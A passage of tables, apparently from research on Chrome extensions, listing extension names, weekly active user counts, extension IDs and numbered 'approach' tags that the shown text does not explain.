| Amazing Screen Recorder | 6,000,000 | cdepgbjlkoocpnifahdfjdhlfiamnapm | 1, 2, 4 |
| BPuzzle | 10,000 | cgjlgmcfhoicddhjikmjglhgibchboea | 1, 2, 4 |
| Super Video Speed Controller | 6,000,000 | chnccghejnflbccphgkncbmllhfljdfa | 1, 2, 4 |
| Lensify | 1,000,000 | ckdcieaenmejickienoanmjbhcfphmio | 1, 2, 4 |
| FontSpotter | 2,000,000 | cncllbaocdclnknlaciemnogblnljeej | 1, 2, 4, 6 |
| ImageNest | 2,000,000 | dajkomgkhpnmdilokgoekdfnfknjgckh | 1, 2, 4 |
| Swift Auto Refresh | 4,000,000 | dbplihfpjfngpdogehdcocadhockmamf | 1, 2, 4 |
| StopSurf | 2,000,000 | dcjbilopnjnajannajlojjcljaclgdpd | 1, 2, 4 |
| PDF SmartBox | 10,000,000 | dgbbafiiohandadmjfcffjpnlmdlaalh | 1, 2, 4 |
| Dungeon Dodge | 3,000,000 | dkdeafhmbobcccfnkofedleddfbinjgp | 1, 2, 4 |
| Scope Master | 2,000,000 | dlbfbjkldnioadbilgbfilbhafplbnan | 1, 2, 4 |
| RazorWave | 3,000,000 | ecinoiamecfiknjeahgdknofjmpoemmi | 1, 2, 4 |
| TurboPlay | 4,000,000 | ehhbjkehfcjlehkfpffogeijpinlgjik | 1, 2, 4 |
| Emoji keyboard live | 3,000,000 | elhapkijbdpkjpjbomipbfofipeofedj | 1, 2, 4 |
| Flashback Flash Player | 3,000,000 | emghchaodgedjemnkicegacekihblemd | 1, 2, 4 |
| RampShield Adblock | 2,000,000 | engbpelfmhnfbmpobdooifgnfcmlfblf | 1, 2, 3, 4 |
| BackNav | 2,000,000 | epalebfbjkaahdmoaifelbgfpideadle | 1, 2, 4 |
| Spark blocker | 5,000,000 | gfplodojgophcijhbkcfmaiafklijpnf | 1, 2, 7 |
| EmuFlash | 1,000,000 | ghomhhneebnpahhjegclgogmbmhaddpi | 1, 2, 4 |
| Minesweeper Original | 4,000,000 | gjdmanggfaalgnpinolamlefhcjimmam | 1, 2, 4 |
| PixGrid Ruler | 1,000,000 | glkplndamjplebapgopdlbicglmfimic | 1, 2, 4 |
| Flexi PDF Reader | 1,000,000 | gmpignfmmkcpnildloceikjmlnjdjgdg | 1, 2, 4 |
| Dino Rush | 2,000,000 | hbkkncjljigpfhghnjhjaaimceakjdoo | 1, 2, 4 |
| Amazing color picker | 4,000,000 | hclbckmnpbnkcpemopdngipibdagmjei | 1, 2, 4 |
| ChatGPT Assistant Plus | 6,000,000 | hhclmnigoigikdgiflfihpkglefbaaoa | 1, 2, 4 |
| Bspace | 3,000,000 | hhgokdlbkelmpeimeijobggjmipechcp | 1, 2, 4 |
| Bomberman Classic Game | 4,000,000 | hlcfpgkgbdgjhnfdgaechkfiddkgnlkg | 4 |
| Inline Lingo | 4,000,000 | hmioicehiobjekahjabipaeidfdcnhii | 1, 2, 4 |
| Superpowers for Chatgpt | 4,000,000 | ibeabbjcphoflmlccjgpebbamkbglpip | 1, 2, 4 |
| Spark Auto Refresh | 4,000,000 | ifodiakohghkaegdhahdbcdfejcghlob | 1, 2, 4 |
| Video Speed Pro | 6,000,000 | iinblfpbdoplpbdkepibimlgabgkaika | 1, 2, 4 |
| Elysian EPUB Reader | 10,000 | ijlajdhnhokgdpdlbiomkekneoejnhad | 1, 4 |
| Smart Color Picker | 1,000,000 | ilifjbbjhbgkhgabebllmlcldfdgopfl | 1, 2, 4 |
| Ad Skip Master for Youtube | 6,000,000 | imlalpfjijneacdcjgjmphcpmlhkhkho | 1, 2, 4, 7 |
| Shopify spy scraper & parser | 300,000 | injdgfhiepghpnihhgmkejcjnoohaibm | 1, 2, 4 |
| Gloom Dark Mode | 4,000,000 | ioleaeachefbknoefhkbhijdhakaepcb | 1, 2, 4 |
| SnapTrans | 3,000,000 | jfcnoffhkhikehdbdioahmlhdnknikhl | 1, 2, 4 |
| DownloadAs PNG JPG | 2,000,000 | jjekghbhljeigipmihbdeeonafimpole | 1, 2, 4 |
| Umbra Dark Mode | 3,000,000 | jjlelpahdhfgabeecnfppnmlllcmejkg | 1, 2, 4 |
| Power Tools for ChatGPT | 11,000,000 | jkfkhkobbahllilejfidknldjhgelcog | 1, 2, 4, 6 |
| Image Formatter | 7,000 | kapklhhpcnelfhlendhjfhddcddfabap | 1, 2, 4 |
| Safum free VPN | 6,000,000 | kbdlpfmnciffgllhfijijnakeipkngbe | 1, 2, 3, 4 |
| TabColor color picker | 500,000 | kcebljecdacbgcoiajdooincchocggha | 1, 2, 4 |
| Tonalis Audio Recorder | 3,000,000 | kdchfpnbblcmofemnhnckhjfjndcibej | 1, 2, 4 |
| 2048 Classic Game | 6,000,000 | kgfeiebnfmmfpomhochmlfmdmjmfedfj | 4 |
| Pixdownify | 7,000 | kjeimdncknielhlilmlgbclmkbogfkpo | 1, 2, 4, 7 |
| Avatar Maker Studio | 3,000,000 | klfkmphcempkflbmmmdphcphpppjjoic | 1, 2, 4 |
| TypeScan What Font Finder | 2,000,000 | klopcieildbkpjfgfohccoknkbpchpcd | 1, 2, 4 |
| Rad Video Speed Controller | 1,000,000 | knekhgnpelgcdmojllcbkkfndcmnjfpp | 1, 2, 4 |
| Sublime Copy | 2,000,000 | kngefefeojnjcfnaegliccjlnclnlgck | 1, 2, 4 |
| 2048 Game | 6,000,000 | kopgfdlilooenmccnkaiagfndkhhncdn | 4 |
| Easy PDF Viewer | 600,000 | kppkpfjckhillkjfhpekeoeobieedbpd | 1, 2, 4 |
| Fullshot | 900,000 | lcpbgpffiecejffeokiimlehgjobmlfa | 1, 2, 4 |
| Page Auto Refresh | 8,000,000 | ldgjechphfcppimcgcjcblmnhkjniakn | 1, 2, 4 |
| Viddex Video Downloader | 2,000,000 | ldmhnpbmplbafajaabcmkindgnclbaci | 1, 2, 4 |
| Smart Audio Capture | 3,000,000 | lfohcapleakcfmajfdeomgobhecliepj | 1, 2, 4 |
| Readline | 3,000,000 | lgfibgggkoedaaihmmcifkmdfdjenlpp | 1, 2, 4 |
| Amazing Auto Refresh | 6,000,000 | lgjmjfjpldlhbaeinfjbgokoakpjglbn | 1, 2, 4 |
| Picture in Picture player | 5,000,000 | lppddlnjpnlpglochkpkepmgpcjalobc | 1, 2, 4 |
| Readwell | 1,000,000 | mafdefkoclffkegnnepcmbcekepgmgoe | 1, 2, 4 |
| Screenshot X | 1,000,000 | mfdjihclbpcjabciijmcmagmndpgdkbp | 1, 2, 3, 4 |
| TubeBlock - Adblock for Youtube | 7,000,000 | mkdijghjjdkfpohnmmoicikpkjodcmio | 1, 2, 4 |
| Shade Dark Mode | 16,000,000 | mkeimkkbcndbdlfkbfhhlfgkilcfniic | 1, 2, 4 |
| PDF Wizardry | 3,000,000 | moapkmgopcfpmljondihnidamjljhinm | 1, 2, 4 |
| ShieldSpan Adblock | 2,000,000 | monfcompdlmiffoknmpniphegmegadoa | 1, 2, 3, 4 |
| Snap Color Picker | 6,000,000 | nbpljhppefmpifoffhhmllmacfdckokh | 1, 2, 4 |
| Spelunky Classic | 3,000,000 | nggoojkpifcfgdkhfipiikldhdhljhng | 4 |
| Adkrig | 6,000,000 | ngpkfeladpdiabdhebjlgaccfonefmom | 1, 2, 3, 4 |
| Snap Screen Recorder | 4,000 | njmplmjcngplhnahhajkebmnaaogpobl | 1, 2, 4 |
| SharpGrip | 3,000,000 | nlpopfilalpnmgodjpobmoednbecjcnh | 1, 2, 4 |
| Block Site Ex | 20,000 | nnkkgbabjapocnoedeaifoimlbejjckj | 1, 2, 4 |
| PageTurn Book Reader | 1,000,000 | oapldohmfnnhaledannjhkbllejjaljj | 1, 2, 4 |
| FocusShield | 4,000,000 | ohdkdaaigbjnbpdljjfkpjpdbnlcbcoj | 1, 2, 4 |
| Loudify Volume Booster | 7,000,000 | ohlijedbbfaeobchboobaffbmpjdiinh | 1, 2, 4 |
| ChatGPT Toolkit | 6,000,000 | okanoajihjohgmbifnkiebaobfkgenfa | 4 |
| Pac Man Tribute | 3,000,000 | okkijechcafgdmbacodaghgeanecimgd | 1, 2, 4 |
| Wordle Timeless | 3,000,000 | pccilkiggeianmelipmnakallflhakhh | 4 |
| Web Paint Online | 3,000,000 | pcgjkiiepdbfbhcddncidopmihdekemj | 1, 2, 4 |
| Live Screen Recorder | 4,000,000 | pcjdfmihalemjjomplpfbdnicngfnopn | 1, 2, 4 |
| Screenshot Master | 6,000,000 | pdlmjggogjgoaifncfpkhldgfilgghgc | 1, 2, 4 |
| Emojet - Emoji Keyboard | 4,000,000 | pgnibfiljggdcllbncbnnhhkajmfibgp | 1, 2, 4 |
| Metric Spy | 2,000,000 | plifocdammkpinhfihphfbbnlggbcjpo | 1, 2, 4 |
| Tetris Classic | 6,000,000 | pmlcjncilaaaemknfefmegedhcgelmee | 1, 2, 4 |
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| Download Telegram - TG Video Photo Download | 1,000 | aaanclnbkhoomaefcdpcoeikacfilokk | 1 |
| Open AI ChatGPT for Email - GMPlus | 40,000 | abekedpmkgndeflcidpkkddapnjnocjp | 1, 5 |
| AI Cover Letter Generator - Supawork AI | 2,000 | aceohhcgmceafglcfiobamlbeklffhna | 1, 2 |
| AI Headshot Generator - Supawork AI | 5,000 | acgbggfkaphffpbcljiibhfipmmpboep | 1, 6 |
| IG Follower Export Tool - IG Email Extractor | 10,000 | acibfjbekmadebcjeimaedenabojnnil | 1 |
| WA Sender - Bulk Message & WA Message & Bulk Sender Tool | 3,000 | aemhfpfbocllfcbpiofnmacfmjdmoecf | 1, 5 |
| Save Ins Comment - Export Ins Comments | 1,000 | afkkaodiebbdbneecpjnfhiinjegddco | 1 |
| Coursera Summary with ChatGPT and Take Notes | 3,000 | afmnhehfpjmkajjglfakmgmjcclhjane | 1, 2, 5 |
| Extension Manager for Chrome™ | 966 | ahbicehkkbofghlofjinmiflogakiifo | 1, 5 |
| Email Finder & Email Hunter - GMPlus | 10,000 | aihgkhchhecmambgbonicffgneidgclh | 1, 5 |
| Sora Video To Video - Arting AI | 106 | aioieeioikmcgggaldfknjfoeihahfkb | 1, 2 |
| ChatGPT for 知乎 | 415 | ajnofpkfojgkfmcniokfhodfoedkameh | 1, 2, 5 |
| Walmart Finder&ChatGPT Review Analysis | 457 | akgdobgbammbhgjkijpcjhgjaemghhin | 5 |
| WA Bulk Message Sender - Premium Sender | 1,000 | amokpeafejimkmcjjhbehganpgidcbif | 1 |
| One-Click Search Aliexpress Similar Products | 97 | aobhkgpkibbkonodnakimogghmiecend | 5 |
| Summary with Bing Chat for YouTube | 9,000 | aohgbidimgkcolmkopencknhbnchfnkm | 1, 5 |
| Rakuten Customer Service Helper | 42 | apfhjcjhmegloofljjlcloiolpfendka | 5 |
| ChatBot AI - ChatGPT & Claude & Bard & Bing | 883 | apknopgplijcepgmlncjhdcdjifhdmbo | 4, 5 |
| NoteGPT: YouTube Summary, Webpages & PDF Summary | 200,000 | baecjmoceaobpnffgnlkloccenkoibbb | 5 |
| Dimmy - Discord Chat Exporter | 252 | bbgnnieijkdeodgdkhnkildfjbnoedno | 1 |
| Gmail Notes - Add notes to email in Gmail | 1,000 | bbpgdlmdmlalbacneejkinpnpngnnghj | 5 |
| Sora Image To Video - Arting AI | 372 | bdhknkbhmjkkincjjmhibjeeljdmelje | 1, 2 |
| Tiktok Customer Service Helper | 66 | bdkogigofdpjbplcphfikldoejopkemf | 5 |
| TikClient - Web Client for TikTok™ | 10,000 | beopoaohjhehmihfkpgcdbnppdeaiflc | 1, 2, 6 |
| One-Click Search Amazon Similar Products | 146 | bfeaokkleomnhnbhdhkieoebioepbkkb | 5 |
| Custom New Tab Page | 864 | bfhappcgfmpmlbmgbgmjjlihddgkeomd | 5 |
| Shopee Downloader - Download Videos & Images | 3,000 | bfmonflmfpmhpdinmanpaffcjgpiipom | 1, 2, 5 |
| Product Photography - Ai Background Generator For Prouduct Photos | 46 | bgehgjenjneoghlokaelolibebejljlh | 1, 2 |
| TikGPT: Tiktok Listing Optimizer | 665 | bhbjjhpgpiljcinblahaeaijeofhknka | 5 |
| Find WhatsApp Link - Group Invite Link | 2,000 | biihmgacgicpcofihcijpffndeehmdga | 1, 5 |
| VideoTG - Download & Save telegram Videos Fast & one time! | 4,000 | bjnaoodhkicimgdhnlfjfobfakcnhkje | 1 |
| Etsy™ AI Review Analysis & Download | 8,000 | bjoclknnffeefmonnodiakjbbdjdaigf | 5 |
| iGoo Helper - Security Privacy Unblock VPN | 20,000 | bkcbdcoknmfkccdhdendnbkjmhdmmnfc | 5 |
| TikTok Analytics & Sort Video by Engagement | 1,000 | bnjgeaohcnpcianfippccjdpiejgdfgj | 5 |
| Rakuten AI Listing editor | 68 | cachgfjiefofkmijjdcdnenjlljpiklj | 5 |
| Invite All Friends for Facebook™ in one click | 10,000 | cajeghdabniclkckmaiagnppocmcilcd | 5 |
| EbayGPT: ChatGPT Ebay listing optimization | 2,000 | cbmmciaanapafchagldbcoiegcajgepo | 5 |
| Comment Exporter | 10,000 | cckachhlpdnncmhlhaepfcmmhadmpbgp | 1, 2 |
| Twitch Danmaku(NicoNico style) | 646 | cecgmkjinnohgnokkfmldmklhocndnia | 5 |
| Easy Exporter - Etsy order exporter | 2,000 | cgganjhojpaejcnglgnpganbafoloofa | 5 |
| Privacy Extension for WhatsApp Privacy | 100,000 | cgipcgghboamefelooajpiabilddemlh | 1, 2 |
| Group Extractor for social media platform | 1,000 | chldekfeeeaolinlilgkeaebbcnkigeo | 6 |
| Sales Sort for eBay™ Advanced Search | 4,000 | cigjjnkjdjhhncooaedjbkiojgelfocc | 1, 2, 3, 5 |
| Amazon Customer Service Helper | 70 | cmfafbmoadifedfpkmmgmngimbbgddlo | 5 |
| Currency Conversion Calculator | 2,000 | cmkmopgjpnjhmlgcpmagbcfkmakeihof | 5 |
| LinkedRadar-Headline Generator for LinkedIn™ | 1,000 | cnhoekaognmidchcealfgjicikanodii | 1, 5 |
| AllegroGPT:ChatGPT for Allegro Open AI Writer | 163 | coljimimahbepcbljijpimokkldfinho | 5 |
| ai voice cover | 518 | cpjhnkdcdpifokijolehlmomppnfflop | 1 |
| WA Contacts Extractor | 30,000 | dcidojkknfgophlmohhpdlmoiegfbkdd | 1 |
| Twitch chat overlay on fullscreen | 832 | dckidogeibljnigjfahibbdnagakkiol | 5 |
| Privacy Extension for WhatsApp Privacy | 660 | dcohaklbddmflhmcnccgcajgkfhchfja | 1 |
| LINE App Translator Bot - LINE Chat | 1,000 | dimpmploihiahcbbdoanlmihnmcfjbgf | 5 |
| Etsy Image Search | 1,000 | dkgoifbphbpimdbjhkbmbbhhfafjdilp | 5 |
| AliExpress & eBay - Best price | 575 | dkoidcgcbmejimkbmgjimpdgkgilnncj | 5 |
| AliGPT: Aliexpress Listing Optimize | 1,000 | dlbmngbbcpeofkcadbglihfdndjbefce | 5 |
| Best ASO Tools for Google Play Store | 10,000 | doffdbedgdhbmffejikhlojkopaleian | 5 |
| NoteGPT: AI Flashcard for Quizlet and Cram | 10,000 | eacfcoicoelokngmcgkkdakohpaklgmk | 1, 2, 5 |
| ChatSider AI Copilot : ChatGPT & Claude | 2,000 | ecnknpjoomhilbhjipoipllgdgaldhll | 6 |
| Mercadolivre Customer Service Helper with GPT | 19 | edhpagpcfhelpopmcdjeinmckcjnccfm | 5 |
| WA Contacts Extractor Free Extension | 30,000 | eelhmnjkbjmlcglpiaegojkoolckdgaj | 1, 6 |
| Unlimited Summary Generator for YouTube™ | 70,000 | eelolnalmpdjemddgmpnmobdhnglfpje | 1, 2, 5 |
| AdLibNote: Ad Library Downloader Facebook™ | 10,000 | efaadoiclcgkpnjfgbaiplhebcmbipnn | 1, 2 |
| Ebay Kundendiensthelfer mit GPT | 123 | efknldogiepheifabdnikikchojdgjhb | 5 |
| Extension Manager | 8,000 | efolofldmcajcobffimbnokcnfcicooc | 5 |
| Send from Gmail - Share a Link Via Email | 5,000 | egefdkphhgpfilgcaejconjganlfehif | 1, 3, 5 |
| Followers Exporter for Ins | 100,000 | ehbjlcniiagahknoclpikfjgnnggkoac | 1, 2 |
| Website Keyword Extractor & Planner Tool | 10,000 | eiddpicgliccgcgclfoddoiebfaippkj | 6 |
| AMZ Currency Converter —— Amazon TS | 457 | ekekfjikpoacmfjnnebfjjndfhlldegj | 1 |
| eCommerce Profit Calculator | 3,000 | elclhhlknlgnkbihjkneaolgapklcakh | 1, 2, 5 |
| ChatGPT for Google (No Ads) | 30,000 | elnanopkpogbhmgppdoapkjlfigecncf | 1, 3, 5 |
| AI Resume Builder - Supawork AI | 9,000 | epljmdbeelhhkllonphikmilmofkfffb | 1, 4 |
| aliexpress image video download | 1,000 | epmknedkclajihckoaaoeimohljkjmip | 5 |
| InstaNote: Download and Save Video for IG | 10,000 | fbccnclbchlcnpdlhdjfhbhdehoaafeg | 1, 2, 5 |
| Ebay Niche Finder&ChatGPT Review Analysis | 419 | fencfpodkdpafgfohkcnnjjepolndkoc | 5 |
| One-Click Search Etsy Similar Products | 83 | fffpcfejndndidjbakpmafngnmkphlai | 5 |
| WA Link Generator | 315 | fgmmhlgbkieebimhondmhbnihhaoccmj | 1 |
| AI Script Writer & Video to Text for TikTok | 9,000 | fhbibaofbmghcofnficlmfaoobacbnlm | 1, 2, 5 |
| WA Bulk Message Sender | 100,000 | fhkimgpddcmnleeaicdjggpedegolbkb | 1, 5 |
| Free VPN For Chrome - HavenSurf VPN | 3,000 | fnofnlokejkngcopdkaopafdbdcibmcm | 5 |
| McdGPT: Mercadolivre AI Listing edit | 340 | fpgcecmnofcebcocojgbnmlakeappphj | 5 |
| CRM Integration with LinkedIn for Salesforce | 411 | fpieanbcbflkkhljicblgbmndgblndgh | 5 |
| Online Photoshop - Photo Editor Tool | 577 | fplnkidbpmcpnaepdnjconfhkaehapji | 1, 2, 5 |
| Telegram Private Video Downloader | 20,000 | gdfhmpjihkjpkcgfoclondnjlignnaap | 1, 2 |
| AI Signature Generator - SignMaker | 74 | gdkcaphpnmahjnbbknailofhkdjgonjp | 1, 2, 5 |
| Privacy Extension for WhatsApp Web | 2,000 | gedkjjhehhbgpngdjmjoklficpaojmof | 1 |
| One-Click Search Shein Similar Products | 232 | gfapgmkimcppbjmkkomcjnamlcnengnp | 5 |
| Summary with ChatGPT for Google and YouTube | 10,000 | gfecljmddkaiphnmhgaeekgkadnooafb | 1, 2, 5 |
| ESale - Etsy™ SEO tool for seller | 10,000 | ghnjojhkdncaipbfchceeefgkkdpaelk | 5 |
| Twitter Video Downloader | 10,000 | giallgikapfggjdeagapilcaiigofkoe | 1, 2, 5 |
| Video Downloader and Summary for TikTok | 3,000 | gibojgncpopnmbjnfdgnfihhkpooodie | 1, 2, 5 |
| Audio Recorder Online - Capture Screen Audio | 3,000 | gilmhnfniipoefkgfaoociaehdcmdcgk | 1, 2, 5 |
| WalmartGPT:ChatGPT for Walmart Open AI Writer | 682 | gjacllhmphdmlfomfihembbodmebibgh | 5 |
| ChatShopee - AI Customer Service Helper | 88 | glfonehedbdfimabajjneobedehbpkcf | 5 |
| Magic VPN - Best Free VPN for Chrome | 5,000 | glnhjppnpgfaapdemcpihhkobagpnfee | 5 |
| Translate and Speak Subtitles for YouTube | 40,000 | gmimaknkjommijabfploclcikgjacpdn | 1, 2, 3, 5 |
| Messenger Notifier | 3,000 | gnanlfpgbbiojiiljkemdcampafecbmk | 5 |
| One-Click Search Walmart Similar Products | 103 | golgjgpiogjbjbaopjeijppihoacbloi | 5 |
| TikTok Hashtags Tool - Hashtags Analytics | 779 | haefbieiimgmamklihjpjhnhfbonfjgg | 1, 5 |
| Gmail Checker - Multi Account Gmail Notifier | 9,000 | hangbmidafgeohijjheoocjjpdbpaaeh | 1, 5 |
| Bulk Message Sender for wa | 281 | hcbplmjpaneiaicainjmanjhmdcfpeji | 2 |
| APP For IG DM | 10,000 | hccnecipbimihniebnopnmigjanmnjgh | 1, 2, 5 |
| Likes Exporter | 6,000 | hcdnbmbdfhhfjejboimdelpfjielfnde | 1, 2 |
| ChatsNow: ChatGPT AI Sidebar ( GPT, Claude , Gemini) | 20,000 | hcmiiaachajoiijecmakkhlcpagafklj | 1, 2, 5 |
| iTextMaster - ChatPDF & PPT AI with ChatGPT | 6,000 | hdofgklnkhhehjblblcdfohmplcebaeg | 1, 2, 3, 5 |
| Shopify™ Raise - Shopify™ store analysis tool | 10,000 | hdpfnbgfohonaplgnaahcefglgclmdpo | 1, 2, 3 |
| ShopeeGPT - Optimize Titles & Descriptions | 713 | hfgfkkkaldbekkkaonikedmeepafpoak | 5 |
| Telegram Desktop - Telegram Online Messenger | 4,000 | hifamcclbbjnekfmfgcalafnnlgcaolc | 5 |
| CommentGPT - Shopee review analysis assistant | 321 | hjajjdbieadchdmmifdjgedfhgdnonlh | 5 |
| Vimeo™ Downloader and chatGPT Video Summary | 40,000 | hobdeidpfblapjhejaaigpicnlijdopo | 1, 2, 5 |
| IG Comment Export Tool | 4,000 | hpfnaodfcakdfbnompnfglhjmkoinbfm | 1, 2, 5 |
| SEO Search Keyword Tool | 40,000 | hpmllfbpmmhjncbfofmkkgomjpfaocca | 5 |
| IG Video Downloader - SocialPlus | 5,000 | iaonookehgfokaglaodkeooddjeaodnc | 1, 2, 5 |
| AdLibNote: Video Downloader for Facebook™ | 10,000 | icphfngeemckldjnnoemfadfploieehk | 1, 2, 5 |
| IGExporter - IG Follower Export Tool | 2,000 | iffbofdalhbflagjclkhbkbknhiflcam | 1, 2, 5 |
| Wasup Translator - Translate WhatsApp Messages | 328 | ifhamodfnpjalblgmnpdidnkjjnmkbla | 1, 5 |
| Free VPN For Chrome - HavenSurf VPN | 1,000 | ihikodioopffhlfhlcjafeleemecfmab | 5 |
| TelePlus - Multi-Accounts Sender | 8,000 | ihopneheidomphlibjllfheciogojmbk | 1, 2, 5 |
| Keywords Explorer For Google Play Store (ASO) | 2,000 | ijegkehhlkpmicapdfdjahdmpklimdmp | 6 |
| Mass follow for Twitter | 1,000 | ijppobefgfjffcajmniofbnjkooeneog | 1, 5 |
| Etsy Customer Service Helper with ChatGPT | 506 | ikddakibljikfamafepngmlnhjilbcci | 5 |
| Telegram Group and Channel Search Tool | 7,000 | ilpgiemienkecbgdhdbgdjkafodgfojl | 1, 2, 5, 7 |
| NoteGPT: Udemy Summary with ChatGPT & Claude | 8,000 | indcipieilphhkjlepfgnldhjejiichk | 1, 2, 5 |
| Volume booster - Volumax | 2,000 | ioklejjbhddpcdgmpcnnpaoopkcegopp | 6 |
| AmzGPT: Amazon listing edit | 4,000 | jijophmdjdapikfmbckmhhiheghkgoee | 5 |
| TTNote: Video Downloader and Saver | 30,000 | jilgamolkonoalagcpgjjijaclacillb | 1, 2, 5 |
| GS Helper For Google Search Google Scholar | 2,000 | jknbccibkbeiakegoengboimefmadcpn | 5 |
| WASender - WA Bulk Message Sender | 1,000 | jlhmomandpgagmphfnoglhikpedchjoa | 1 |
| ai celebrity voice clone | 572 | jlifdodinblfbkbfmjinkpjieglkgfko | 1 |
| WAPlus CRM - Best WhatsApp CRM with AI | 60,000 | jmjcgjmipjiklbnfbdclkdikplgajhgc | 1 |
| Save Webpage As PDF | 10,000 | jncaamlnmeladalnajhgbkedibfjlmde | 5 |
| Etsy™ Reviews Extractor | 1,000 | jobjhhfnfkdkmfcjnpdjmnmagepnbifi | 5 |
| AI Image Generator: Get AI Art with Any Input | 1,000 | jojlhafjflilmhpakmmnchhcbljgmllh | 5 |
| TG Sender - TG bulk message send and invite | 20,000 | kchbblidjcniipdkjlbjjakgdlbfnhgh | 1, 2, 5 |
| QR Code Generator | 25 | kdhpgmfhaakamldlajaigcnanajekhmp | 1 |
| Browser VPN - Free and unlimited VPN proxy | 7,000 | kdjilbflpbbilgehjjppohpfplnapkbp | 5 |
| Summary Duck Assistant | 1,000 | kdmiipofdmffkgfpkigioehfdehcienf | 1, 2 |
| FindNiche - aliexpress™ dropshipping & analytics tool | 1,000 | kgggfelpkelliecmgdmfjgnlnhfnohpi | 2, 3, 5 |
| LinkedRadar - Email Finder for LinkedIn ™ | 50,000 | kgpckhbdfdhbkfkepcoebpabkmnbhoke | 1, 5 |
| WA - Download Group Phone Numbers | 4,000 | khajmpchmhlhfcjdbkddimjbgbchbecl | 1, 5 |
| WA Self Sender for WhatsApp Web(Easy Sender) | 10,000 | khfmfdepnleebhonomgihppncahojfig | 1 |
| GPT for Ecom: Product Listing optimizer | 20,000 | khjklhhhlnbeponjimmaoeefcpgbpgna | 1, 2, 5 |
| IG Follower Export Tool - IG Tools | 100,000 | kicgclkbiilobmccmmidfghnijgfamdb | 1, 2, 5 |
| WhatsApp Realtime Translate&Account Warm Up&Voice message Transcript | 1,000 | kifbmlmhcfecpiidfebchholjeokjdlm | 1, 5 |
| WA Group Sender | 10,000 | kilbeicibedchlamahiimkjeilnkgmeo | 5 |
| FindNiche - Shopify™ store traffic analysis | 7,000 | kiniklbpicchjlhhagjhchoabjffogni | 1, 2, 3, 5, 7 |
| Telegram Restricted Content Downloader | 7,000 | kinmpocfdjcofdjfnpiiiohfbabfhhdd | 1, 2 |
| website broken link and 404 error checker | 10,000 | kkjfobdnekhdpmgomkpeibhlnmcjgian | 1, 2, 5 |
| TG Content Downloader - download telegram restricted files | 983 | kljkjamilbfohkmbacbdongkddmoliag | 1, 5 |
| Comment Assistant In LinkedIn™ | 978 | kmchjegahcidgahijkjoaheobkjjgkfj | 5 |
| Tab Manager - Smart Tab By NoteGPT AI | 7,000 | kmmcaankjjonnggaemhgkofiblbjaakf | 1, 2, 5 |
| WA Number Checker | 5,000 | knlfobadedihfdcamebpjmeocjjhchgm | 1, 2 |
| Telegram downloader - TG Video Photo Download | 4,000 | kofmimpajnbhfbdlijgcjmlhhkmcallg | 1 |
| WA Group Link Finder | 2,000 | kpinkllalgahfocbjnplingmpnhhihhp | 1, 2 |
| One-Click Search Ozon Similar Products | 96 | laoofjicjkiphingbhcblaojdcibmibn | 5 |
| WADeck - WA AI ChatBot &WhatsApp Sender | 40,000 | lbjgmhifiabkcifnmbakaejdcbikhiaj | 1, 5 |
| AliNiche Finder&ChatGPT Review Analysis | 484 | ldcmkjkhnmhoofhhfendhkfmckkcepnj | 5 |
| Fashion Model-AI Model Generator For Amazon | 1,000 | ldlimmbggiobfbblnjjpgdhnjdnlbpmo | 1, 5 |
| WhatsApp Group Management Pro - Export, Broadcast & Monitor Suite | 20,000 | ldodkdnfdpchaipnoklfnfmbbkdoocej | 1, 2, 5 |
| Photo download & Save image | 8,000 | leiiofmhppbjebdlnmbhnokpnmencemf | 5 |
| Aliexpress Customer Service Helper | 191 | lfacobmjpfgkicpkigjlgfjoopajphfc | 5 |
| Find WhatsApp Link - Group Invite Link | 10,000 | lfepbhhhpfohfckldbjoohmplpebdmnd | 5 |
| Yahoo - optimize listing & AI Writer | 69 | lgahpgiabdhiahneaooneicnhmafploc | 5 |
| Amazon Finder&ChatGPT Review Analysis | 821 | lgghbdmnfofefffidlignibjhnijabad | 5 |
| AI Resume Builder - LinkedRadar | 10,000 | lijdbieejfmoifapddolljfclangkeld | 1, 4 |
| Article Summary with ChatGPT and Take Notes | 8,000 | llkgpihjneoghmffllamjfhabmmcddfh | 1, 2, 5 |
| AliNiche - AliExpress™ Product Research Tool | 30,000 | lmlkbclipoijbhjcmfppfgibpknbefck | 1, 2, 5 |
| ModelAgents - AI Fashion Models Generator | 5,000 | lmnagehbedfomnnkacohdhdcglefbajd | 5 |
| Gmail Address Check & Send Verify Tool | 2,000 | lmpigfliddkbbpdojfpbbnginolfgdoh | 5 |
| WA Number Checker - Check & Verify WA Number | 5,000 | lobgnfjoknmnlljiedjgfffpcbaliomk | 1 |
| Free AI Voice: Best Text to Speech Tool | 1,000 | lokmkeahilhnjbmgdhohjkofnoplpmmp | 5 |
| IG Email Extractor - Ins Followers Exporter | 3,000 | lpcfhggocdlchakbpodhamiohpgebpop | 1, 5 |
| WA Bulk Sender | 5,000 | mbmlkjlaognpikjodedmallbdngnpbbn | 1 |
| YouTube Comment Summary with ChatGPT OpenAI | 3,000 | mcooieiakpekmoicpgfjheoijfggdhng | 5 |
| Ad Library - Ads Spy Tool For YouTube™ | 2,000 | mdbhllcalfkplbejlljailcmlghafjca | 5 |
| Schedule Email by Gmail | 862 | mdndafkgnjofegggbjhkccbipnebkmjc | 1, 5 |
| Feature Graphic Downloader for Play Store | 546 | meibcokbilaglcmbboefiocaiagghdki | 5 |
| One-Click Search eBay Similar Products | 75 | mjibhnpncmojamdnladbfpcafhobhegn | 5 |
| Twiclips - Twitch Clip Downloader | 8,000 | mjnnjgpeccmgcobgegepeljeedilebif | 1, 2, 5 |
| Auto Connect for LinkedIn™ - LeadRadar | 1,000 | mliipdijmfmbnemagicfibpffnejhcki | 1 |
| Easy Web Data Scraper | 40,000 | mndkmbnkepbhdlkhlofdfcmgflbjggnl | 1, 2, 3, 5 |
| wa privacy | 68 | nccgjmieghghlknedlgoeljlcacimpma | 1 |
| Ad Library - Ads Spy Tool For Pinterest™ | 2,000 | ndopljhdlodembijhnfkididjnahadoj | 5 |
| Universal Keyword Planner box | 5,000 | niaagjifaifoebkdkkndbhdoamicolmj | 1, 2, 5 |
| AdLibNote: Ad Library Downloader Facebook™ | 30,000 | niepmhdjjdggogblnljbdflekfohknmc | 1, 2 |
| WA Group Sender & Group Link Scraper | 1,000 | nimhpogohihnabaooccdllippcaaloie | 1, 2 |
| Ad Library - Ads Spy Tool For Twitter™ | 1,000 | nkdenifdmkabiopfhaiacfpllagnnfaj | 5 |
| TikTok Video Tags Summary with ChatGPT | 860 | nmccmoeihdmphnejppahljhfdggediec | 5 |
